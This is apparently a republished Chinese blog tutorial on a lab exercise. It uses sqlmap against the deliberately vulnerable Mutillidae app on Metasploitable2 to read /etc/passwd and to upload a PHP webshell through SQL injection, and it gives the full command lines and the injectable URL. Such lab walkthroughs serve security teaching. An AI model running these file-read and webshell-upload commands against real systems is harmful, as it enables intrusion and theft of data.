sqlmap写入一句话木马
2022-8-2 09:9:48 Author: 编码安全研究(查看原文) 阅读量:66 收藏

工具

靶机——metasploitable2

攻击机——kali

环境——Mutillidae

菜刀——蚁剑

主要参数

sqlmap参数: --file-read=RFILE   Read a file from the back-end DBMS file system         从后端的数据库管理系统文件系统读取文件    --file-write=WFILE  Write a local file on the back-end DBMS file system    编辑后端的数据库管理系统文件系统上的本地文件  --file-dest=DFILE   Back-end DBMS absolute filepath to write to            后端的数据库管理系统写入文件的绝对路径

实现

1、打开 Mutillidae 里 User Info 测试模块

2、手工注入发现漏洞

具体参考:SQL手工注入原理一 、 手SQL工注入原理二

http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details发现 username 存在注入漏洞

3、使用 sqlmap 自动注入工具

读:

读: --file-read="/etc/passwd"sqlmap -u "http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p username  --file-read="/etc/passwd"
读取的内容保存在 /root/.sqlmap/output/192.168.47.133 这目录下

 写:(要写的文件,必须在kali本机里有)写入到 /tmp 目录下 
--file-write="shell.php" --file-dest="/tmp/shell.php" sqlmap -u "http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username' --file-write="shell.php" --file-dest="/tmp/shell.php"

尝试写入 /var/www 目录下 发现失败 (权限问题)

这时,需要利用到 DVWA里文件包含漏洞了

在介绍SQL手工注入 (load_file/out file)有详细介绍如何包含本地文件,以及菜刀的连接。

请参考-SQL注入一句话木马(load_file/out file)

https://blog.csdn.net/qq_42342141/article/details/103253124

————————————————

作者:初学者L_言

原文链接:https://blog.csdn.net/qq_42342141/article/details/103262571

侵权请私聊公众号删文

推荐阅读   

【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结(原理、危害、防御)

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247492227&idx=2&sn=1b51dd91ec26fc22a64a9c5be725302f&chksm=ce64b1e6f91338f0aeff36ec89b073acd8fbcc0eb179fb6fc54b50aca11dbf7b87820350b078#rd
如有侵权请联系:admin#unsafe.sh